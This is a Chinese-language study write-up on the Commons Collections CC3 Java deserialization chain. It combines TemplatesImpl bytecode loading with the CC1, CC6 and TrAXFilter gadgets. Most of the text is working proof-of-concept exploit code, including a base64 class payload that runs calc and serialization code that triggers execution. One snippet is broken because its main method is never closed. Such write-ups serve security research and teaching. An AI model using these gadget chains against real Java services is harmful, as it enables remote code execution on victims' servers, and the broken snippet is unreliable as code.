目录

CC3分析与利用

前面学了cc1和cc6都是通过调用 Runtime().getRuntime().exec() 来进行的命令执行,但很多时候服务器的代码当中的黑名单会选择禁用 Runtime 还有就是有些时候链子末尾没法反射调用恶意类。这时就可以在最后执行命令的时候变为动态加载字节码来进行恶意命令执行。

cc3其实就是cc1和Temlatesimpl动态加载字节码加了在一起。动态加载字节码参考[[../../java 安全基础/java动态加载字节码|../java基础/java动态加载字节码]]

Temlatesimpl动态加载字节码的poc:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class CC3test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tem =new TemplatesImpl();
        byte[] code=Base64.getDecoder().decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBAAZnYW9yZW4BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAIAAQACgANAA0AEAALABEADAAVAA4ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEQANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEwANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
        setValue(tem, "_bytecodes", new byte[][]{code});
        setValue(tem, "_tfactory", new TransformerFactoryImpl());
        setValue(tem, "_name", "gaoren");
        setValue(tem, "_class", null);
        tem.newTransformer();

    }

    public static void setValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

Temlatesimpl动态加载字节码的链子:

TransformerImpl.getOutputProperties()
	TransformerImpl.newTransformer()
		TransformerImpl.getTransletInstance()
			TransformerImpl.defineTransletClasses()
				TransformerImpl.defineclass()

CC1+Temlatesimpl

这里动态加载字节码执行恶意命令一看就是放到最后的,所以现在只需要接着cc1的链子把最后transform反射调用Runtime.getruntime()变为反射调用TransformerImpl.newTransformer()

poc:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class CC3test {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(tem),  
                new InvokerTransformer("newTransformer",null,null),  
        };  
        ChainedTransformer cha=new ChainedTransformer(transformers);  
  
        HashMap<Object,Object> map=new HashMap<>();  
        map.put("value","aaa");  
        Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用  
  
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);  
        con.setAccessible(true);  
        Object obj=con.newInstance(Target.class,tmap);  
        serilize(obj);  
        deserilize("ser.bin");  
    }  
    public static void serilize(Object obj)throws IOException{  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

执行弹出计算机:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240626212706.png

CC1(LazyMap)+Temlatesimpl

和上面一样的把最后Runtime.getRuntime()改为TransformerImpl.newTransformer()

poc:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import org.apache.commons.collections.map.LazyMap;  
import java.lang.annotation.Repeatable;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
  
public class CC3test {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(tem),  
                new InvokerTransformer("newTransformer",null,null),  
        };  
  
        ChainedTransformer cha=new ChainedTransformer(transformers);  
  
        InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});  
        HashMap<Object,Object> map = new HashMap<>();  
        map.put("entrySe","entrySet"); //可以不用设,不要把key设为entrySet,不然不满足lazy.get条件  
        Map<Object,Object> Lazy = LazyMap.decorate(map,cha);  
  
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);  
        con.setAccessible(true);  
        InvocationHandler hand=(InvocationHandler)con.newInstance(Override.class,Lazy);  
  
        Map  proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},hand);  
        InvocationHandler in =(InvocationHandler) con.newInstance(Repeatable.class,proxyMap);  
        serilize(in);  
        deserilize("serr.bin");  
    }  
    public static void serilize(Object obj)throws IOException{  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("serr.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

执行

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240626213325.png

当然Temlatesimpl和CC1结合就注定了其只能在jdk8u71之前的版本使用,对于其他版本的呢?

不难想到其还可以和CC6结合使用

CC6+Timlatesimpl

poc:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.nio.file.Paths;  
  
  
public class CC3test {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(tem),  
                new InvokerTransformer("newTransformer",null,null),  
  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
  
        Lazy.remove("aaa");  
  
        serilize(hashmap);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

执行:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240626220127.png

CC3链子分析

有些黑名单除了过滤了Runtime还有可能过滤了InvokerTransformer,所以Temlatesmpl除了可以和cc1,cc6结合使用,还有其他链子可以使用,就是接下来要分析的cc3(其实也就是最后那里改变了一下)。

上面的cc1和cc6最后都是调用的newTransformer()方法,所以接着该方法向上找,最后发现在TrAXFilter类的构造函数中进行了调用,并且参数 templates可以由构造参数进行控制

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240626222415.png

但是发现其没有继承反序列化接口,所以还得和Runtime一样利用其class类来进行反射调用。不过不同的是这里使用的是InstantiateTransformer类的transform方法,看看其transform方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240626223800.png

可以看到先判断是否是class类,然后获得有参数构造函数,最后进行实例化。 (当然这利用InvokerTransformertransform也能实现,先调用其class的getConstructor方法然后调用newInstance方法,不过如果能用这个transform方法的话还不如像前面一样直接调用newTransformer())

先构造手动调用InstantiateTransformer.tranform方法的poc:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.xml.transform.Templates;  
import java.nio.file.Paths;  
  
  
public class CC3test {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})  
        };  
  
        Transformer transformerChain = new ChainedTransformer(transformers);  
        transformerChain.transform("aaa");  

    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

执行

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240626225029.png

然后剩下的就没什么了,接着cc1或者cc6的前部分就行了。 我这里就用cc6了,

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.xml.transform.Templates;  
import java.nio.file.Paths;  
  
  
public class CC3test {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})  
        };  
  
        Transformer cha = new ChainedTransformer(transformers);  
  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
  
        Lazy.remove("aaa");  
        //serilize(hashmap);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240627140357.png

补充

一、

除了Temlatesimpl动态加载字节码还可不可以配合其他的如ClassLoader.defineClass和BCEL来加载字节码,

起初以为是因为这两个最后都需要多调用newInstance()方法进行实例化,但后面发现如果可以调用InvokerTransformer的话这个好像也不是问题。

所以又去看了 nivia 师傅的文章:

  • 因为ClassLoader.defineClass方法是保护属性,在进行反射调用的时候需要执行Method.setAccessible(true);进行权限修改,而Method.setAccessible(true);没有返回值,会导致了断掉了后面Transformer.transform方法的调用。

  • com.sun.org.apache.bcel.internal.util.ClassLoader是没有实现Serializable接口的,不能进行发序列化(虽然我也没去试能不能利用反射进行构造)

二、

上面 cc1 和 cc6 结合 temlatesimpl 使用中,_tfactorytransient 属性,不能被反序列化,所以我们通过反射给其赋的值没有任何作用,反射赋值只是方便我们的直接调用。那最后为什么又能打通呢,我们把上面的反射赋值注释掉。进行调试

发现在调用hashmapreadObject的时候执行s.readObject,跟进

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240627150838.png

来到了TemplatesImplreadObject方法,在这里对_tfactory进行了赋值:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240627151047.png